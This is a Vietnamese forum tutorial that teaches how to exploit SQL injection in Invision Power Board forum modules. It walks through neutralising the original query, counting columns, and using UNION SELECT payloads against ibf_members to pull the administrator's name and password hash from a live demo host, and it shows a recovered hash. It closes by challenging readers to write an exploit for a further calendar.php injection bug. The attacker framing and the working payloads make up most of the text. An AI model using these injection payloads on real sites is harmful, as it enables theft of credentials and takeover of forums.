Kỹ Thuật, tư duy khai thác SQL Injection trong Forum


Chào các bạn! Hôm nay chúng ta sẽ nghiên cứu về cách thức khai thác lỗi SQL inject trong Forum nhé!

Việc hack forum dính SQl inject là cũng cơ bản khá giống việc hack SQL inject trong các SHOP,WEB mà chúng ta đã hack thôi! kiến thức để tìm hiểu thì bạn chỉ cần biết một ít câu lệnh SQL và thông thạo việc sử dụng ,cài đặt, quản lý Forum là ok!
Hò! Bắt đầu nào:

Việc tìm ra một Site dính SQL thì chúng ta có thể sử dụng BUG được puplic trên các diendan về hacking ! còn khi mà người ta đã cho mình Code Exploitx rồi thì chẳng còn gì để nói! nhưng nếu người ta không public thì chỉ còn cách tự tìm lấy thôi! Tôi sẽ trình bày cho bạn thật dễ hiểu và sẽ dùng DEMO để cho các bạn thực hành luôn!

1. chúng ta sẽ thực hành với lỗi Mod UOCNGUYEN :

Trong Code Uocnguyen của nó! thì có đoạn:

Quote:
function showwish(){
global $DB, $ibforums, $std;
$wish = $ibforums->input[’id’];
$DB->query( “SELECT * FROM ibf_wish_main WHERE ID LIKE {$wish} LIMIT 1″);

đoạn code bị lỗi là: Quote:

$wish = $ibforums->input[’id’];

vì giá trị id được input vào không được kiểm tra là dạng number hay char … nên nó bị dính lỗi SQl inject.

link bị lỗi của nó:
http://72.36.192.69/~phucducc/demo/uocnguy…wwish&id=1′

bạn nhập user/pass: demo / demo vào để xem !

xuất hiện thông báo lỗi:

Quote:
mySQL query error: SELECT * FROM ibf_wish_main WHERE ID LIKE 1′ LIMIT 1

mySQL error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ” at line 1
mySQL error code:
Date: Wednesday 22nd of March 2006 02:51:09 AM

hò! Chúng ta chú ý đến cái đoạn này trong thông báo lỗi : Quote:
SELECT * FROM ibf_wish_main WHERE ID LIKE 1′ LIMIT 1

đây là câu lệnh truy vấn mà sử dụng để lấy các thông tin về phần uocnguyen . do ID không được kiểm soát nên khi thêm dấu phẩy vào thì nó báo lỗi! bây giờ chúng ta sẽ đi nghiên cứu cách để lấy các dữ liệu về mật khẩu của admin :

Nếu bạn đọc được SQL thì sẽ hiểu là dấu * trên là chỉ nó lựa chọn truy vấn mọi colum có trong table ibf_wish_main ! vậy bây giờ ta sẽ lợi dụng lỗi SQL injec để truy vấn
các thông tin cần thiết trong table ibf_members (là nới chứa các thông tin về MEM)

để bắt đầu hack thì chúng ta phải vô hiệu hóa câu truy vấn của nó! nghĩa là làm cho câu lệnh truy vấn trên của nó không trả về giá trị gì cả! và đó là lý do mà khi các bạn đọc các code exploixt của người khác thì các bạn thấy có mấy dấu là lạ sau link lỗi của nó! chúng ta có các ký tự thường hay dùng để vô hiệu hóa câu lệnh truy vấn của Victim : /* hoặc ) hoặc )/ hoặc ); ……… hoặc là đưa giá trị input của nó thành giá trị âm! nghĩa là nó đang là 1 thì mình cho về -1 ! có khi là vừa thêm giá trị âm vừa thêm các ký tự metal /* … phía sau nũă! các bạn nghiên cứu thêm nhé! bây giờ! thì tôi dùng cách đưa giá trị input của nó thành âm để vô hiệu hóa câu lệnh truy vấn của nó: như sau:
http://72.36.192.69/~phucducc/demo/uocnguy…=showwish&id=-1

bạn thấy đấy! phần “uớc nguyện là ” đã không còn giá trị gì! vì câu lệnh truy vấn của nó đã bị vô hiệu hóa! nên nó chẳng trả về giá trị gì nữa! và bây giờ chúng ta có thể thêm vào sau nó một câu lệnh truy vấn của chúng ta và nó sẽ Run ngay!

hò! đến đây thì chúng ta bắt đầu sử dụng câu lệnh UNION ! nó có nhiệm vụ kết hợp 2 câu lệnh SELECT với nhau (tất nhiên là 2 câu lệnh SELECT phải có cùng các colum! ) tôi khuyên bạn chưa biết thì nên tìm đọc phần câu lệnh UNION đi! OK!

bước quan trọng là đây:

các bạn nhìn vào hình bên dưới:

thì các bạn sẽ thấy là trogn table ibf_wish_main có 8 column! và vấn đề là cái MOD uocnguyen được xây dụng để chỉ có 8 column trogn table của nó! nên câu lệnh truy vấn của nó khi dùng ký tự * là để thể hiện sự truy vấn 8 column đó! và như thế thì câu lệnh SELECT thứ 2 của chúng ta cũng sẽ phải là chỉ có 8 column! và có 2 cách để thực hiện câu truy vấn của bạn: bạn có thể làm như sau:

a. Select lần lượt các column của nó từ giá trị 1 đến khi nào mà nó báo hết rồi! (không trả thêm giá trị nào nữa!) nghĩa là bạn thay * bằng giá trị 1,2,3,4,….. bạn hiểu rồi chứ! vậy thì ta sẽ có câu lệnh truy vấn của Mođ uocnguyen là:
http://72.36.192.69/~phucducc/demo/uocnguy…0union%20SELECT
và tiếp theo http://72.36.192.69/~phucducc/demo/uocnguy…0union%20SELECT

……………

cho đến :

http://72.36.192.69/~phucducc/demo/uocnguy…0union%20SELECT

thì ta được là:

Quote:
Ước nguyện của 2
2 đến từ 3
2 ước nguyện vào ngày 2000-00-04

Ước nguyện là :
8

vậy thì chúng ta có là phần hiện thị của nó là phần số 2 và số 8! đó chính là các giá trị của column trong table ibf_wish_main.

bây giờ thì bạn chỉ cần thay cái gía trị của table ibf_wish_main thành table ibf_members và ở column số 2 thì bạn thay vào đó column tên của admin là name
và column thứ 8 password !!!! (các column của ibf_members thì bạn vào trong phpmyadmin rồi nghiên cứu! ở đây mình chỉ hướng dẫn cho các bạn đã biết vè nó rồi! OK!)

và bây giờ câu lệnh của nó là :

http://72.36.192.69/~phucducc/demo/uocnguy…0union%20SELECT 1,name,3,4,5,6,7,password FROM ibf_members WHERE ID LIKE 1

bạn đã thấy gì chưa?

Ước nguyện của admin
admin đến từ 3
admin ước nguyện vào ngày 2000-00-04

Ước nguyện là :

8005125c396680661893d36fc0723158

b. cách thứ 2 là bạn đã kinh nghiệm và như thế thì bạn chỉ cần vào tìm hiểu xem table của cái phần bị lỗi đó có bao nhiêu column! và bạn thay dấu * bằng từng đó giá trị! ở đây là 8 column và sẽ là 1,2,3,4,5,6,7,8 và sau đó! lại Run trên Browse để xem column nào hiển thị ra! thì thay các giá trị tương ứng vào! OK!

2. HACK lỗi ở phần Showtopic:

Quote:
else if ( $ibforums->input[’showtopic’] != “”)
{
$ibforums->input[’act’] = “ST”;
$ibforums->input[’t’] = $ibforums->input[’showtopic’];

// Grab and cache the topic now as we need the ‘f’ attr for
// the skins…

nhìn qua ta sẽ thấy là dính lỗi SQL injec ở phần showtopic! Ok ! link bình thường của nó:

http://72.36.192.69/~phucducc/demo/s…hp?showtopic=1

và dính lỗi : http://72.36.192.69/~phucducc/demo/ssi/ind…howtopic=1′
Quote:
mySQL query error: SELECT t.*, f.topic_mm_id, f.name as forum_name, f.quick_reply, f.id as forum_id, f.read_perms, f.reply_perms, f.parent_id, f.use_html,
f.start_perms, f.allow_poll, f.password, f.posts as forum_posts, f.topics as forum_topics, f.upload_perms,
f.show_rules, f.rules_text, f.rules_title,
c.name as cat_name, c.id as cat_id
FROM ibf_topics t, ibf_forums f , ibf_categories c
WHERE t.tid=1′ and f.id = t.forum_id and f.category=c.id

mySQL error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ” at line 6
mySQL error code:
Date: Wednesday 22nd of March 2006 04:04:40 AM

bây giờ chúng ta sẽ vô hiệu hóa câu lệnh truy vấn của Link trên:

đầu tiên thử với thay đổi giá trị http://72.36.192.69/~phucducc/demo/s…hp?showtopic=1 thành
http://72.36.192.69/~phucducc/demo/ssi/ind…hp?showtopic=-1 bây giờ bạn chú ý là câu lệnh truy vấn của nó là:
Quote:
SELECT t.*, f.topic_mm_id, f.name as forum_name, f.quick_reply, f.id as forum_id, f.read_perms, f.reply_perms, f.parent_id, f.use_html,f.start_perms, f.allow_poll, f.password, f.posts as forum_posts, f.topics as forum_topics, f.upload_perms, f.show_rules, f.rules_text, f.rules_title, c.name as cat_name, c.id as cat_id FROM ibf_topics t, ibf_forums f, ibf_categories c WHERE t.tid=1

nghĩa là nếu bây giờ mình mà vô hiệu hóa được câu lệnh của Link trên! thì chỉ cần ta nhập vào Link trên phần Union + lệnh truy vấn của chính nó! thì ta sẽ có được nội dung của nó như ban đầu! bạn hiẻu rồi chứ!

Và như thế thì thay đổi giá trị âm của Link trên thì chưa đựoc : http://72.36.192.69/~phucducc/demo/ssi/ind…WHERE%20t.tid=1

và lại thử với việc thêm /* hoặc ) hay ); …… cái nào được thì là đúng! cuối cùng thì mình thay giá trị 1 bằng giá trị 0 và thử vào:
http://72.36.192.69/~phucducc/demo/s…hp?showtopic=0

và thêm phần Union: http://72.36.192.69/~phucducc/demo/ssi/ind…WHERE%20t.tid=2

ok roài! vậy là việc thay giá trị Id của nó =0 là đúng! bởi vì số Id của Topic thì chẳng mấy khi có giá trị =0! mà chỉ có bắt đầu =1 trở đi! mặt khác! các bạn chú ý là khi mình thêm phần Union vào thì giá trị mà mình SELECT là Id=2 nghĩa là mình đã vô hiệu câu lệnh truy vấn của nó đi! và bắt nó truy vấn phần Id=2 vào! và nó làm việc tốt! nghĩa là bạn đã vô hiệu hóa thành công! OK!
vậy là bây giờ chúng ta sẽ đi làm việc với link đã bị vô hiệu hóa là :http://72.36.192.69/~phucducc/demo/s…hp?showtopic=0 !

hò!

bây giờ tôi sẽ giải thích cho các bạn các ký tự t.*, f.topic_mm_id, f.name là cái gì!

các bạn nhìn vào phần : Quote:
SELECT t.*, f.topic_mm_id, f.name as forum_name, f.quick_reply, f.id as forum_id, f.read_perms, f.reply_perms, f.parent_id, f.use_html,
f.start_perms, f.allow_poll, f.password, f.posts as forum_posts, f.topics as forum_topics, f.upload_perms,
f.show_rules, f.rules_text, f.rules_title,
c.name as cat_name, c.id as cat_id
FROM ibf_topics t, ibf_forums f , ibf_categories c
WHERE t.tid=1

thì đoạn Quote:
FROM ibf_topics t, ibf_forums f , ibf_categories c
nghĩa là giá trị t là được gán giá trị là thay thế cho Table ibf_topics ; f có giá trị là Table ibf_forums và c được gán là Table ibf_categories ; (người ta có thể thay thế t,f,c bằng những chữ khác! cái đó không quan trọng!)

và như thé là các bạn hiểu là t.* chính là thay thế cho ibf_topics t.* và f.topic_mm_id là thay thế cho ibf_forums.topic_mm_id !!!!

và bây giờ các bạn có thế tưởg tượng ra vấn đề rùi đấy! chúng ta sẽ không đi mò mẫm đi tìm xem có bao nhiêu Colum để mà SELECT nữa! mà tôi sẽ xem là phần mà nó hiện ra trong Topic ấy! nghĩa là trong cái link này: http://72.36.192.69/~phucducc/demo/ssi/ind…WHERE%20t.tid=2

thì phần tiêu đề của nó là :chào anh em!
là được lưu trữ trong Column nào! (ý tưởng của tôi là muốn Pass của Admin sẽ hiện ra ở phần đó! nghĩa là đáng lẽ nó sẽ hiện ra cái nội dung của TOpic đo! nhưng mà tôi sẽ làm cho nó hiện ra Pass của Admin ở đó) Tất nhiên là nó sẽ nằm trong 3 Table ibf_topics , ibf_forums , ibf_categories thôi! vì trong cái phần SHOWTOPIC này thì nó chỉ SELECT từ 3 Table đó! Ok chưa!

và tôi sẽ viết cách làm của tôi nhanh hơn! không thủ công dò tìm nữa! mệt quá! hò! bây giờ! tôi Cài Localhost và tôi install 1 forum giống như thế! và tôi vào trong DATA cải nó!(vào PHPMYADMIN) và vào phần table ibf_topics vì tôi đoán đây là phần chứa cái nội dung các Topic !

và dựa tôi chọn phần ibf_topics !

các bạn thấy phần id tôi đánh vào đó 1 số nào đó! ví dụ số 4! nó sẽ hiện ra:

và bây giờ ta thấy là phần chữ: chào các bạn ! được chưa trong Cloumn : title! ok (cái ảnh này tôi lấy trong LOCALHOST để làm minh họa!)

bây giờ tôi sẽ viết lại phần t.* như sau: dựa vào các Column của Topic ibf_topics thì ta có : Quote:
t.tid, t.title, t.description, t.state, t.posts, t.starter_id, t.start_date, t.last_poster_id, t.last_post, t.icon_id, t.starter_name, t.last_poster_name, t.poll_state, t.last_vote, t.views, t.forum_id, t.approved, t.author_mode, t.pinned, t.moved_to, t.rating, t.total_votes

và bây giờ ta có lệnh truy vấn của Link Lỗi là :

Quote:
SELECT t.tid, t.title, t.description, t.state, t.posts, t.starter_id, t.start_date, t.last_poster_id, t.last_post, t.icon_id, t.starter_name, t.last_poster_name, t.poll_state, t.last_vote, t.views, t.forum_id, t.approved, t.author_mode, t.pinned, t.moved_to, t.rating, t.total_votes, f.topic_mm_id, f.name as forum_name, f.quick_reply, f.id as forum_id, f.read_perms, f.reply_perms, f.parent_id, f.use_html,
f.start_perms, f.allow_poll, f.password, f.posts as forum_posts, f.topics as forum_topics, f.upload_perms,
f.show_rules, f.rules_text, f.rules_title,
c.name as cat_name, c.id as cat_id
FROM ibf_topics t, ibf_forums f , ibf_categories c
WHERE t.tid=1

Ok rồi! bây giờ tôi sẽ cho phần Titile là hiện ra phần Pass admin nhé! tôi sẽ thêm vao trong truy vấn của trên một trường là m với m được gán cho giá trị của table ibf_members ! nghĩa là nó có dang:

Quote:
SELECT t.tid, t.title, t.description, t.state, t.posts, t.starter_id, t.start_date, t.last_poster_id, t.last_post, t.icon_id, t.starter_name, t.last_poster_name, t.poll_state, t.last_vote, t.views, t.forum_id, t.approved, t.author_mode, t.pinned, t.moved_to, t.rating, t.total_votes, f.topic_mm_id, f.name as forum_name, f.quick_reply, f.id as forum_id, f.read_perms, f.reply_perms, f.parent_id, f.use_html,
f.start_perms, f.allow_poll, f.password, f.posts as forum_posts, f.topics as forum_topics, f.upload_perms,
f.show_rules, f.rules_text, f.rules_title,
c.name as cat_name, c.id as cat_id
FROM ibf_topics t, ibf_forums f , ibf_categories c, ibf_members m
WHERE t.tid=1

và tôi sẽ thay thế trường t.title thành m.password :

Quote:
SELECT t.tid, m.password, t.description, t.state, t.posts, t.starter_id, t.start_date, t.last_poster_id, t.last_post, t.icon_id, t.starter_name, t.last_poster_name, t.poll_state, t.last_vote, t.views, t.forum_id, t.approved, t.author_mode, t.pinned, t.moved_to, t.rating, t.total_votes, f.topic_mm_id, f.name as forum_name, f.quick_reply, f.id as forum_id, f.read_perms, f.reply_perms, f.parent_id, f.use_html,
f.start_perms, f.allow_poll, f.password, f.posts as forum_posts, f.topics as forum_topics, f.upload_perms,
f.show_rules, f.rules_text, f.rules_title,
c.name as cat_name, c.id as cat_id
FROM ibf_topics t, ibf_forums f , ibf_categories c, ibf_members m
WHERE t.tid=1

vậy bây giờ ta có thể lấy pass admin đựoc rùi: và chú ý là phải thay thế cái WHERE t.tid=1 thành WHERE m.id=1 với việc này là ta SELECT theo trường Id trong Table ibf_members . id=1 là số Id của admin!~ vậy link là:

http://72.36.192.69/~phucducc/demo/ssi/ind…0WHERE%20m.id=1

bạn nhìn lên màn hình !ở trên cũng ầy! sẽ thấy chuỗi pass hiện ra dưới dạng passhash!nếu bạn chưa thấy rõ thì chúng ta sẽ cho passhash hiện ra ở phần khác! chỉ cần thay đổi giá trị mà bạn muốn hiện ra là được! thay đổi các column truy vấn là Ok thoai! vì cái WEB này Code nó làm sao ấy! nên mình không cho nó hiện ra dễ nhìn hơn được! code khác thì dễ hơn! hiiiiiii

cái này là DEMO! nó áp dụng cho lỗi SQL inject trong Forum! nên phiên bản nào không quan trọng chỉ cần sự tư duy + tính toán kỹ là có thể viết được Code Exploitx các Bug Sql inject trong Forum!

các anh em có thể khai nghiên cứu và viết code Exploitx cái Bug này:
Bug nằm ở file calendar.php trong thư mục Source:
http://72.36.192.69/~phucducc/demo/s…vent&eventid=1
phần Bug: http://72.36.192.69/~phucducc/demo/s…eventid=1′

Quote:
mySQL query error: SELECT * FROM ibf_calendar_events WHERE eventid=1′

mySQL error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ” at line 1
mySQL error code:
Date: Monday 27th of March 2006 10:09:11 AM

các anh em có thể Download code của nó về install để nghiên cứu các table :http://72.36.192.69/~phucducc/demoloi.zip

(Bug nằm ở file calendar.php trong thư mục Source)

Các anh em xem ai nhanh chóng viết được Code Exploitx nhé!

Ok!

#su-kien